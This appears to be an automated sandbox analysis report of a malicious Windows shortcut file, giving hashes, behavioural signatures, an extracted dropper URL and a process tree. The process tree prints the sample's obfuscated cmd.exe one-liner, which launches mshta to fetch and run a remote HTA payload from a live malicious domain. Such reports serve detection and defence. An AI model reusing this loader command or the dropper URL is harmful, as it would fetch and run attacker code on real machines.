Analysis
- max time kernel
60s - max time network
45s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/08/2026, 18:02
Static task
static1
Behavioral task
behavioral1
Sample
DOC-G4C6CX.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-G4C6CX.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-G4C6CX.lnk
- Size 1KB
- Sample260826-wmprdsef34
- SHA256 dcd6fdd2aa6b5a0d93885c669f81ef5c876559893710685e6316fea055bac11c
- MD5 c86d6795bdfab9d02a1405f17db98aa4
- SHA1 9cd46276046bd0b96f47315c065702425052f0bd
- SHA512 e92c553a21e07cdd359b3faaeab7c412016290850d050c5ba922db79e4c29145caea1df5ec816ae9c58a00774bfce49d05dda4809a3760becc3c8f1ea3f62db6
- TLSH T1C03197003FFC0624F3B38F7389BB972089BBB8558D20CA2E0140450C5432A15E17AF7B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1908 cmd.exe 4380 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1908 wrote to memory of 4380 1908 cmd.exe 89 PID 4380 wrote to memory of 1716 4380 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-G4C6CX.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1908 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set efoAd=msh&&set Sn=ta&&start "" !efoAd!!Sn! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:1716
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